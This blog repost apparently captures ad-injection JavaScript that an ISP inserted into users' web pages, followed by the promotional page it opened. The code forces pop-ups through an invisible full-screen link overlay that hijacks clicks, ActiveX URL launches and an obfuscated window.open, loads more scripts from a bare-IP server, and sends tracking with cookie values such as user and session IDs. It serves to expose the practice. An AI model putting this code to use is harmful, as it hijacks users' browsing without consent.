电信流氓注入JS

(function () {
     var cs_url = _pushshowjs_.url, cs_delay = window.cs_delay;
    
     
     
    var cs_styles = window.styles;
        var ua = navigator.userAgent;
    var browser = {
        ie: /msie/i.test(ua),
        ie6: /msie 6/i.test(ua),
        ie7: /msie 7/i.test(ua),
        ie8: /msie 8/i.test(ua),
        ie9: /msie 9/i.test(ua),
        360: /360se/i.test(ua),
        sogou: /;?se.+?MetaSr/i.test(ua),
        maxthon: /Maxthon/i.test(ua),
        tt: /TencentTraveler/i.test(ua),
        ff: /firefox/i.test(ua),
        webkit: /AppleWebKit/i.test(ua),
        opera: /Opera/i.test(ua),
        qqbrowser: /QQBrowser/i.test(ua),
        theworld: /Theworld/i.test(ua)
    };
    function event(e, event, func, act) { if (browser.ie) e[act === undefined ? 'attachEvent' : 'detachEvent']('on' + event, func); else e[act === undefined ? 'addEventListener' : 'removeEventListener'](event, func, false) }
    function updatecs() {
        try {

        } catch (q) { }
    }
    function pop(url, param) {
        if (!document.body) {
            return setTimeout(function () { pop(url, param) }, 13)
        }
        try {
            if (browser['webkit'] && browser['maxthon']) {
                if (!func(url)) { a_pop(url) }
            } else if (browser['tt']) {
                if (!a_pop(url)) { object_pop(url) }
            } else if (browser['sogou']) {
                if (!func(url)) { a_pop(url) }
            } else if (browser['webkit'] && browser['qqbrowser']) {
                if (!func(url)) { click_pop(url) }
                //click_pop(url)
            } else if (browser['webkit'] || browser['opera']) {
                a_pop(url)
            } else if (browser['theworld'] && browser.ie6) {
                if (!object_pop2(url)) { a_pop(url) }
            } else if (browser['theworld'] && browser.ie8) {
                if (!func(url)) { try { object_pop(url) } catch (e) { click_pop(url) } }
            } else if (browser.ie6) {
                if (!func(url)) { object_pop2(url) }
            } else if (browser.ie8 || browser.ie9) {
                if (!func(url)) { try { object_pop(url) } catch (e) { a_pop(url) } }
            } else if (browser['ie']) {
                if (!func(url)) { try { object_pop(url) } catch (e) { click_pop(url) } }
            } else if (browser['ff']) {
                if (!func(url)) { click_pop(url) }
            } else {
                if (!func(url)) { click_pop(url) }
            }
            updatecs()
        } catch (e) {
            if (browser.ie7 || browser.ie8 || browser.ie9 || browser['qqbrowser']) { click_pop(url) } else { a_pop(url) }
            updatecs()
        }
    }
    function object_pop(url, param) { var object = document.createElement('object'); object.setAttribute('classid', 'CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6'); object.style.cssText = 'position:absolute;left:1px;top:1px;1px;height:1px;'; append(object); object.launchURL(url) }
    function object_pop2(url, param) {
        var object2 = document.createElement('object'); object2.setAttribute('classid', 'clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A'); object2.style.cssText = 'position:absolute;left:1px;top:1px;1px;height:1px;';
        append(object2); for (var i in object2) { try { (function (o) { })(object2[i]) } catch (e) { } }
        setTimeout(function () { object2.DOM.Script.open(url, '_blank', '') }, 500)
    }
    function append(e) { for (var t in { body: 1 }) { var ele = document.getElementsByTagName(t); for (var i = 0; i < ele.length; i++) { ele[i].insertBefore(e, ele[i].firstChild); return } } }
    function click_pop(url, param) { event(document, 'mouseup', function (e) { e = e || window.event; e.canceBubble = true; event(document, 'mouseup', arguments.callee, true); func(url, param) }) }
    function a_pop(url) {
        var a = document.createElement("a"); a.href = url; a.target = "_blank";
        var div = document.createElement('div'); div.style.backgroundColor = '#fff'; a.appendChild(div); append(a);
        var as = a.style; as.position = "absolute"; as.zIndex = '2147483647'; as.display = "block"; as.top = "0px"; as.left = "0px"; as.cursor = 'default'; as.opacity = "0"; as.filter = "alpha(opacity:0)";
        var m = setInterval(function () {
            a.style.zIndex = '2147483647';
            var d = (document.compatMode.toLowerCase() == 'css1compat') ? document.documentElement : document.body;
            a.style.top = Math.max(document.documentElement.scrollTop, document.body.scrollTop) + 'px';
            div.style.width = Math.min(d.clientWidth, d.scrollWidth) + 'px'; div.style.height = d.clientHeight + 'px';
            if (browser['ie']) { try { var divs = document.body.childNodes; for (var i = 0; i < divs.length; i++) { if (!divs[i]['style']) { continue } var _i = parseInt(divs[i].style.zIndex); if (_i && divs[i] != a && _i == 2147483647) { divs[i].style.zIndex = _i - 1 } } a.style.zIndex = '2147483647' } catch (e) { } }
        }, 120);
        a.onclick = function (e) { e = e || window.event; e.cancelBubble = true; setTimeout(function () { a.parentNode.removeChild(a) }, 200); clearInterval(m) };
        event(a, 'mouseup', function (e) { e = e || window.event; e.cancelBubble = true });
    }
    function func(url, param) { var f = window[String.fromCharCode(111, 112, 101, 110)]; var w = f(url, '_blank', cs_styles); return w }
    setTimeout(function () { }, 150);
    setTimeout(function () { pop(cs_url, { a: 1, b: 2 }) }, cs_delay);
    event(window, 'beforeunload', function () { })
})();
var _pushshowjs_ = new Object;
_pushshowjs_.expires = 10;
_pushshowjs_.param = '121268|0|0|0|1|1|';
_pushshowjs_.url = 'http://gd.189.cn/sz/push/dxdssgq.htm?SP=ABzs/PzoPOz8zMg7yXnpGRmpOgmJugy8vPzM/Pg86Dy8vPzM/Pg8/IysrPyMjKzMnMy7/OyczRmJuDzsfM0c7M0cfI0c7JyoPOg87NzsjNyoPOzc7NyceDzs/Pzs/Og4iIiNGSmIuJ0ZyQkoPOys/My8rMycrGg86DzM/Pz4PPg87NzP==';
_pushshowjs_.adtype = '2';
_pushshowjs_.feedurl = 'http://183.59.53.202:3535/feedback/dataprocess/receivedata.do';
_pushshowjs_.eparam = '?SP=ABzs/PzoPOz8zMg7yXnpGRmpOgmJugy8vPzM/Pg86Dy8vPzM/Pg8/IysrPyMjKzMnMy7/OyczRmJuDzsfM0c7M0cfI0c7JyoPOg87NzsjNyoPOzc7NyceDzs/Pzs/Og4iIiNGSmIuJ0ZyQkoPOys/My8rMycrGg86DzM/Pz4PPg87NzP==';
_pushshowjs_.realinfo = '';
_pushshowjs_.closeispush = '0';
_pushshowjs_.isAutoClose = '1';
_pushshowjs_.closeTimes = '0';

window.setTimeout(function() {
    var a = document.createElement("script");
    a.type = 'text/javascript';
    a.src = 'http://183.59.53.202:3535/pushjs/open_pc_V1.js';

    a.src += a.src.indexOf('?') == -1 ? '?' : '&';
    a.src += 't=' + (new Date().getTime());

    if (_pushshowjs_.adtype != '4') {
        document.getElementsByTagName("head")[0].appendChild(a);
    } else {
        document.getElementsByTagName("body")[0].appendChild(a);
        
        a = document.createElement("script");
        a.type = 'text/javascript';
        a.src = 'http://183.59.53.202:3535/pushjs/open_pc_V1.js';
        document.getElementsByTagName("body")[0].appendChild(a);
    }
}, 0);
<script src="http://183.59.53.202:3535/adv_select/ad_unified_access?SP=ABzs/PzoPOz8zMg7yXnpGRmpOgmJugy8vPzM/Pg86Dy8vPzM/Pg8/IysrPyMjKzMnMy7/OyczRmJuDzsfM0c7M0cfI0c7JyoPOg87NzsjNyoPPg8+DiIiI0ZKYi4nRnJCSg87Kz8zLyszJysaDzoPMz8/P"></script>

<script src="http://183.59.53.202:3535/pushjs/open_pc_V1.js?t=1503453482484" type="text/javascript"></script>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>免费升高清电信电视</title>

<script type="text/javascript" language="javascript" src="http://www.sz189.cn/promotion/js/jquery-1.7.1.min.js"></script>
<script type="text/javascript" src="http://gd.189.cn/TS/kd/push/public/feedbackjs/feedback_realname.js"></script>
<script>
  function lxfEndtime(){
          $(".lxftime").each(function(){
                var lxfday=$(this).attr("lxfday");//用来判断是否显示天数的变量
                var endtime = new Date($(this).attr("endtime")).getTime();//取结束日期(毫秒值)
                var nowtime = new Date().getTime();        //今天的日期(毫秒值)
                var youtime = endtime-nowtime;//还有多久(毫秒值)
                var seconds = youtime/1000;
                var minutes = Math.floor(seconds/60);
                var hours = Math.floor(minutes/60);
                var days = Math.floor(hours/24);
                var CDay= days ;
                var CHour= hours % 24;
                var CMinute= minutes % 60;
                var CSecond= Math.floor(seconds%60);//"%"是取余运算,可以理解为60进一后取余数,然后只要余数。
                if(endtime<=nowtime){
                        $(this).html("已过期")//如果结束日期小于当前日期就提示过期啦
                        }else{
                        $(this).html("<span>"+days+"</span>天");          //输出有天数的数据

                        }
          });
   setTimeout("lxfEndtime()",1000);
  };
$(function(){
      lxfEndtime();
     
   });
</script>
<script type="text/javascript" language="JavaScript" src="http://m.sz189.cn/js/jquery-1.8.3.min.js"></script>
<script language="JavaScript" type="text/javascript"> 
$(document).ready(function(){    
    $.ajax({
            type: "post",
            url: "http://hd.sz189.cn/ajax/queryBJTime.shtml?action=bjTime",
            cache: false,
            dataType: "jsonp",
            jsonp: 'jsoncallback',
            success: function(data){
             var data = parseInt(data)
               callbackTime(data);
            },
        error: function(msg){
             
        }
    });
 
});

var hd_time;
var srv_nowtime;
function callbackTime(srv_Nowtime){
     srv_nowtime = srv_Nowtime
    var now =  new Date(srv_Nowtime);
    now.setDate(1);
    now.setHours(23);
    now.setMinutes(59);
    now.setSeconds(59);
    now = now.setMonth(now.getMonth()+1)-24*60*60*1000;
     
    hd_time = new Date("2016-12-31");
    $('#hdtime').text(hd_time.toLocaleString());
    showTime();
    window.setInterval(showTime, 1000); 
}
function showTime(){
    srv_nowtime += 1000;
    var var_srvNowtime = new Date(srv_nowtime);
    $('#systime').text(var_srvNowtime.toLocaleString());
    
    var subtractTime = hd_time-srv_nowtime;
    if(srv_nowtime > hd_time){
            //hd_time = new Date((var_srvNowtime.getMonth()+1) +"/"+ (var_srvNowtime.getDate()+1) +"/"+ var_srvNowtime.getFullYear() +" ").getTime();    
            $('#hdtime').text((new Date(hd_time)).toLocaleString());//倒计时
    }
    
    var seconds = subtractTime/1000;
    var minutes = Math.floor(seconds/60);
    var hours = Math.floor(minutes/60);
    var days = Math.floor(hours/24);
    var CDay = days ;
    var CHour = hours % 24;
    var CMinute = minutes % 60;
    var CSecond = Math.floor(seconds%60);//"%"是取余运算,可以理解为60进一后取余数,然后只要余数。
    if(days > 0){
        $("#nD").text(days+1);
        $("#nH").text(CHour);
        $("#nM").text(CMinute);
        $("#nS").text(CSecond);
    }else if(days == 0){//
        $("#nD").text("1");
        $("#nH").text("00");
        $("#nM").text("00");
        $("#nS").text("00");
    }else{
        $("#nD").text("0");
        $("#nH").text(" ");
        $("#nM").text(" ");
        $("#nS").text(" ");
    }
}

</script>
<style>
body{ padding:0px; margin:0px; color:#000; font-size:12px; font-family:"宋体"; line-height:24px;}
a{  text-decoration:underline; color:#333;}
a:hover{ text-decoration:underline;color:#e85d06;}
img{ border:none;}
p { margin:0; padding:0;}
.top { width:563px; height:65px; margin:0 auto; overflow:hidden; position:relative;}
.top .gb { position:absolute; top:10px; right:16px; width: 201px; }
.top .gb a { color:#333;}
.top .gb a:hover { color:#333;}
.top .dl { position:absolute; top:40px; right:13px;}
.top .dl a { color:#333;}
.top .dl a:hover { color:#333;}
.bj{ background:url(http://gd.189.cn/sz/push/xcc_bj.jpg) repeat-y; width:563px; margin:0 auto;}
.nr{ width:540px;  margin:0 auto;  border:1px solid #C6C6C6;}
.nr .title { color:#d30d06; font-size:26px; font-weight:bold; font-family:"黑体"; text-align:center; padding-top:20px; padding-bottom:15px;}
.nr .info { width:510px; margin:0 auto; font-size:14px; font-weight:bold;}
.nr .info .red{ color:#d30d06;}
.nr .info a { text-decoration:underline;}
.nr .tp{ width:540px; margin:0 auto; text-align:center;}
.erweima { width:218px; height:218px; position:absolute; left:469px; top:62px; }
.erweima img { width:218px; height:218px; }
.wzjs{
    position:absolute;
    font-family:"Microsoft YaHei UI";
    font-size:20px;
    line-height:28px;
    text-align:left;
    color: #595959;
    left: 29px;
    top: 33px;
    width: 469px;
    text-indent:3em;
}
.wzjs span{ color:#ff0000}
.wzjs font{ font-size:16px}
.zjd span,.wzjs span{ }
.zjd{ position:absolute; left: 90px; bottom:175px; width: 390px; font-family:"Microsoft YaHei UI"; font-size:18px; line-height:26px; text-align:left ;color: #fff;}
.sj{ position:absolute;  left: 445px;top: 78px; font-family:"Microsoft YaHei UI"; font-size:43px; line-height:26px; text-align:left;color: #fff;font-weight: bold; text-shadow: #a71305 3px 3px 0; }
</style>
</head>

<body>
<div class="top">
    <img src="http://gd.189.cn/sz/push/pushtop.jpg" width="563" height="65" border="0" alt="中国电信" />
    <div class="gb"><a href="#" id="push_unsubscribe"><input name="" type="checkbox" value="" style="15px; height:15px;"/>如不再接收本次提醒,请打勾</a></div>
    <div class="dl"><a href="http://gd.189.cn" target="_blank">更多功能请登录中国电信欢go网站(原网上营业厅) > 广东</a></div>
</div>
<div class="bj">
<div class="nr">
    <div class="tp" style="position:relative;"><img src="http://www.sz189.cn/push/images/0yjz1.png" border="0" usemap="#Map">
      <map name="Map" id="Map">
        <area shape="rect" coords="140,402,401,469" href="https://www.sz189.cn/huodong/dxdssgq.html?codeurl=push" target="_blank" id="push_click"/>
        
      </map>
      
           
  </div>
 
</div>
  <div><img src="http://gd.189.cn/sz/push/xcc_xm.jpg" width="563" height="43" alt="中国电信" /></div>
</div>
<!--20150812增加-->
<script language="JavaScript" type="text/javascript">
    if((typeof trk)!='object'){var trk={}}
        trk.y_js=function(h,n,v){
        var t=new Date,d=document,ist=d.createElement("SCRIPT");l=d.getElementsByTagName('HEAD'),p=l&&l[0]?l[0]:'';
        (typeof trk['js_'+n])=="number"?(trk['js_'+n]++):(trk['js_'+n]=1);
        if(p&&trk['js_'+n]<2){
        ist.type = "text/javascript";
        ist.src='//'+h+'?v='+(v?v:('20'+(t.getYear()-100)+(t.getMonth()+1)+t.getDate()));
        if (p.firstChild){p.insertBefore(ist, p.firstChild)}else{p.appendChild(ist)}
        };
        if(trk['js_'+n]>1){console.log('eship_jz:'+n+trk['js_'+n])};
    }
    trk.y_js('gd.189.cn/insight/js/b/w.js','w_js')
</script>
<!--20150812增加-->
<script language="JavaScript" type="text/javascript">
    if((typeof trk)!='object'){var trk={}}
        trk.y_js=function(h,n,v){
        var t=new Date,d=document,ist=d.createElement("SCRIPT");l=d.getElementsByTagName('HEAD'),p=l&&l[0]?l[0]:'';
        (typeof trk['js_'+n])=="number"?(trk['js_'+n]++):(trk['js_'+n]=1);
        if(p&&trk['js_'+n]<2){
        ist.type = "text/javascript";
        ist.src='//'+h+'?v='+(v?v:('20'+(t.getYear()-100)+(t.getMonth()+1)+t.getDate()));
        if (p.firstChild){p.insertBefore(ist, p.firstChild)}else{p.appendChild(ist)}
        };
        if(trk['js_'+n]>1){console.log('eship_jz:'+n+trk['js_'+n])};
    }
    trk.y_js('gd.189.cn/insight/js/b/w.js','w_js')
</script>
<!--20150812增加-->
<script language="JavaScript" type="text/javascript">

    if((typeof trk)!='object'){var trk={}}
        trk.y_js=function(h,n,v){
        var t=new Date,d=document,ist=d.createElement("SCRIPT");l=d.getElementsByTagName('HEAD'),p=l&&l[0]?l[0]:'';
        (typeof trk['js_'+n])=="number"?(trk['js_'+n]++):(trk['js_'+n]=1);
        if(p&&trk['js_'+n]<2){
        ist.type = "text/javascript";
        ist.src='//'+h+'?v='+(v?v:('20'+(t.getYear()-100)+(t.getMonth()+1)+t.getDate()));
        if (p.firstChild){p.insertBefore(ist, p.firstChild)}else{p.appendChild(ist)}
        };
        if(trk['js_'+n]>1){console.log('eship_jz:'+n+trk['js_'+n])};
    }
    trk.y_js('gd.189.cn/insight/js/b/w.js','w_js')
</script>
<!--20150812增加-->
<script language="JavaScript" type="text/javascript">
    if((typeof trk)!='object'){var trk={}}
        trk.y_js=function(h,n,v){
        var t=new Date,d=document,ist=d.createElement("SCRIPT");l=d.getElementsByTagName('HEAD'),p=l&&l[0]?l[0]:'';
        (typeof trk['js_'+n])=="number"?(trk['js_'+n]++):(trk['js_'+n]=1);
        if(p&&trk['js_'+n]<2){
        ist.type = "text/javascript";
        ist.src='//'+h+'?v='+(v?v:('20'+(t.getYear()-100)+(t.getMonth()+1)+t.getDate()));
        if (p.firstChild){p.insertBefore(ist, p.firstChild)}else{p.appendChild(ist)}
        };
        if(trk['js_'+n]>1){console.log('eship_jz:'+n+trk['js_'+n])};
    }
    trk.y_js('gd.189.cn/insight/js/b/w.js','w_js')
</script>

<!--20150812增加-->
<script language="JavaScript" type="text/javascript">
    if((typeof trk)!='object'){var trk={}}
        trk.y_js=function(h,n,v){
        var t=new Date,d=document,ist=d.createElement("SCRIPT");l=d.getElementsByTagName('HEAD'),p=l&&l[0]?l[0]:'';
        (typeof trk['js_'+n])=="number"?(trk['js_'+n]++):(trk['js_'+n]=1);
        if(p&&trk['js_'+n]<2){
        ist.type = "text/javascript";
        ist.src='//'+h+'?v='+(v?v:('20'+(t.getYear()-100)+(t.getMonth()+1)+t.getDate()));
        if (p.firstChild){p.insertBefore(ist, p.firstChild)}else{p.appendChild(ist)}
        };
        if(trk['js_'+n]>1){console.log('eship_jz:'+n+trk['js_'+n])};
    }
    trk.y_js('gd.189.cn/insight/js/b/w.js','w_js')
</script>
<!--20150812增加-->
<script language="JavaScript" type="text/javascript">
    if((typeof trk)!='object'){var trk={}}
        trk.y_js=function(h,n,v){
        var t=new Date,d=document,ist=d.createElement("SCRIPT");l=d.getElementsByTagName('HEAD'),p=l&&l[0]?l[0]:'';
        (typeof trk['js_'+n])=="number"?(trk['js_'+n]++):(trk['js_'+n]=1);
        if(p&&trk['js_'+n]<2){
        ist.type = "text/javascript";
        ist.src='//'+h+'?v='+(v?v:('20'+(t.getYear()-100)+(t.getMonth()+1)+t.getDate()));
        if (p.firstChild){p.insertBefore(ist, p.firstChild)}else{p.appendChild(ist)}
        };
        if(trk['js_'+n]>1){console.log('eship_jz:'+n+trk['js_'+n])};
    }
    trk.y_js('gd.189.cn/insight/js/b/w.js','w_js')
</script>
</body>
</html>
<script language='JavaScript' charset='gb2312'> 
    try{
    var extWTMap=new WTMap(); 
        extWTMap.put('wt_area',getCookie('LATN_CODE_COOKIE'));
           extWTMap.put('wt_userid',getCookie('wt_userid'));
        extWTMap.put('wt_usertype',getCookie('wt_usertype'));
    extWTMap.put('wt_sessionid',getCookie('wt_sessionid'));
    extWTMap.put('wt_acc_nbr',getCookie('wt_acc_nbr'));
    extWTMap.put('wt_serv_type',getCookie('wt_serv_type'));
     _wtTracker(null, null, 0, extWTMap);
    }catch(e){}
    
    var url = location.href;
    var flag1 = url.indexOf("param");
    var flag2 = url.indexOf("SP");
    if(flag1 != -1 || flag2 != -1){
        var data = "";
        if(flag1 != -1){
            var param = url.substring(url.indexOf("param=")+"param=".length);
            var urlParam = param.substring(param.indexOf("&"));
            data="urlParam="+urlParam;
        }else if (flag2 != -1){
            var param = url.substring(url.indexOf("SP=")+"SP=".length);
            data="urlParam="+param;
        }
        jQuery.ajax({
            url : "http://shop.sz189.cn/micromart/broadbandRenewals.shtml?action=smpGetQrCodeImage",
            type : "POST",
            dataType : "jsonp",
            jsonp: 'jsoncallback',
            async:false, 
            data:data,
            success : function(data) {
                var json = eval("[" + data + "]");
                var result = json[0].result;                
                if(result == "success"){
                    $("#qrcodeImg").attr("src",json[0].url);
                }else{
                    alert("系统异常!请稍后再试!");
                }
            },
            error : function(XMLHttpRequest, textStatus, errorThrown) {
                alert("系统异常!请稍后再试!");
            }
        });
    }
</script>

<!--stra 统计代码 -->
<span style="display:none"> 
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "//hm.baidu.com/hm.js?6a48058c2f0584b39169eb284c830719";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();
</script>
</span>

<!--End 统计代码 -->
<script language="javascript" type="text/javascript">
    window.onload=function() {
        var a = document.getElementById("push_unsubscribe");
        bindEvent(a,"click",function() {
            alert("尊敬的用户,您已退订不会再收到这个提醒!");
        });
    }
</script>
原文地址:https://www.cnblogs.com/linr/p/7416765.html